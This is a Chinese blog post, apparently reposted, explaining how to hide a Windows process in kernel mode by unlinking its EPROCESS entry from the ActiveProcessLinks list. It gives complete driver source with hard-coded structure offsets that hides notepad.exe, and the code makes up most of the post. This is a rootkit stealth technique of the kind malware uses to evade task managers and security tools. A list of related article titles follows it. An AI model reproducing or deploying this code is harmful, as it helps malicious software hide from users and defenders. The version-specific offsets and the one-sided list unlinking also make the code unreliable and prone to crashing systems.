在windows内核模式下隐藏进程
来源:互联网 发布:java实现快速排序算法 编辑:程序博客网 时间:2024/06/01 19:02
进程隐藏之内核实现
1、在内核模式下,系统为每个进程维护了一个EPROCESS结构体,系统所有的进程是通过EPROCESS结构体中的一个ActiveProcessLinks指向的双端链表连接起来的,通过winDBG内核调试工具就可以发现并获取其相对于EPROCESS结构体的地址(0x88),这样我们可以通过遍历该循环链表找到我们的目的进程将其链表的节点删除即可隐藏该进程。(EPROCESS中进程PID相对地址为ox84,进程名字相对地址为0x174)。
代码如下:
/**************************** 在内核模式下隐藏进程 sky_2012.12.13****************************/#include <NTDDK.h>#define DWORD ULONGvoid DriverUnload(IN PDRIVER_OBJECT Driver_Object);NTSTATUS HelloDDKDispatchRoutine(IN PDEVICE_OBJECT pDevObj, IN PIRP pIrp);//根据进程Pid找到进程DWORD FindProcessEPROCESS(PANSI_STRING PsName, OUT int* flg);ANSI_STRING Process_Name;NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver_Object, IN PUNICODE_STRING RegisterPath){PLIST_ENTRY pre_ActiveProcessLink;int flg = 0;DWORD preprocess = 0x00000000;CHAR *string1 = "notepad.exe";Driver_Object->MajorFunction[IRP_MJ_CREATE] = HelloDDKDispatchRoutine;Driver_Object->MajorFunction[IRP_MJ_CLOSE] = HelloDDKDispatchRoutine;Driver_Object->DriverUnload = DriverUnload;//找到我们要保护的进程的前一个的EPROCESSRtlInitAnsiString(&Process_Name,string1);preprocess = FindProcessEPROCESS(&Process_Name,&flg);//根据进程的ActiveProcessLink删除掉我们的目的进程的ActiveProcessLink的连表节点if(flg){pre_ActiveProcessLink = (PLIST_ENTRY)(preprocess);pre_ActiveProcessLink->Flink = pre_ActiveProcessLink->Flink->Flink;pre_ActiveProcessLink->Flink->Blink = pre_ActiveProcessLink;KdPrint(("Delete Success!\n"));}else{KdPrint(("notepad.exe dos'nt exist!\n"));}return STATUS_SUCCESS;}DWORD FindProcessEPROCESS(PANSI_STRING PsName, OUT int* flg){ANSI_STRING CurName;PLIST_ENTRY cut_ActiveProcessLink = 0x00000000;DWORD CUR_EPROCESS = 0x00000000;DWORD curent_id = 0;//记录当前idDWORD start_id =0;int count = 0;//记录id总数CUR_EPROCESS = (DWORD)PsGetCurrentProcess();curent_id = *((DWORD*)(CUR_EPROCESS + 0x84));start_id = curent_id;RtlInitAnsiString(&CurName,(char*)CUR_EPROCESS + 0x174);cut_ActiveProcessLink = (PLIST_ENTRY)(CUR_EPROCESS + 0x88);//如果相同if(!RtlCompareString(PsName, &CurName,FALSE)){*flg = 1;return ((DWORD)(cut_ActiveProcessLink->Blink));}//接着遍历while(1){count++;cut_ActiveProcessLink = cut_ActiveProcessLink->Flink;RtlInitAnsiString(&CurName,(char*)cut_ActiveProcessLink - 0x88 + 0x174);curent_id = *((DWORD*)((DWORD)cut_ActiveProcessLink - 0x88 + 0x84));if(!RtlCompareString(PsName,&CurName,FALSE)){*flg = 1;return ((DWORD)(cut_ActiveProcessLink->Blink));}else if (count>=1&&(start_id == curent_id)){KdPrint(("没有找到!\n"));return 0x00000000;}}}//默认的例程NTSTATUS HelloDDKDispatchRoutine(IN PDEVICE_OBJECT pDevObj, IN PIRP pIrp){NTSTATUS status = STATUS_SUCCESS;KdPrint(("Enter HelloDDKDispatchRoutine\n"));// 完成IRPpIrp->IoStatus.Status = status;IoCompleteRequest(pIrp, IO_NO_INCREMENT );KdPrint(("Leave HelloDDKDispatchRoutine\n"));return status;}//设置卸载例程void DriverUnload(IN PDRIVER_OBJECT Driver_Object){KdPrint(("DriverUnload!\n"));}
- 在windows内核模式下隐藏进程
- 如何在Windows平台下实现进程隐藏
- Windows下的进程隐藏
- Windows 2003下的进程隐藏
- 在2000和xp下隐藏进程
- 在2000和xp下隐藏进程
- 在2000和xp下隐藏进程
- 内核隐藏进程
- 向Windows内核驱动中传递一个函数指针,使其在内核模式下执行
- windows内核状态下进程创建解析
- Windows下用户模式与内核模式
- Windows2003 内核级进程隐藏、侦测技术(下)
- Windows2003 内核级进程隐藏、侦测技术(下)
- 如何在windows下隐藏驱动器
- Windows 内核模式下的线程同步
- Windows NT/2000系统下进程的隐藏
- 内核层 inlinehook 隐藏进程
- 内核hook NtQuerySystemInformation隐藏进程
- html下属性节点
- android使用ComponentName组件简单示例
- linux 工作队列
- Html中表格行的拖动
- linux下搭建配置mysql数据库
- 在windows内核模式下隐藏进程
- C++ 标准头文件与C头文件区别与联系以及C风格字符串
- 设计模式12:类适配器【结构型】
- MySQL API访问mysql数据库
- ubuntu下用Pip安装python拓展包
- Redis管理
- 每个程序员都应读的30本书
- Exception in thread "main" java.lang.NoClassDefFoundError错误解决
- 如何在内核态下获取时间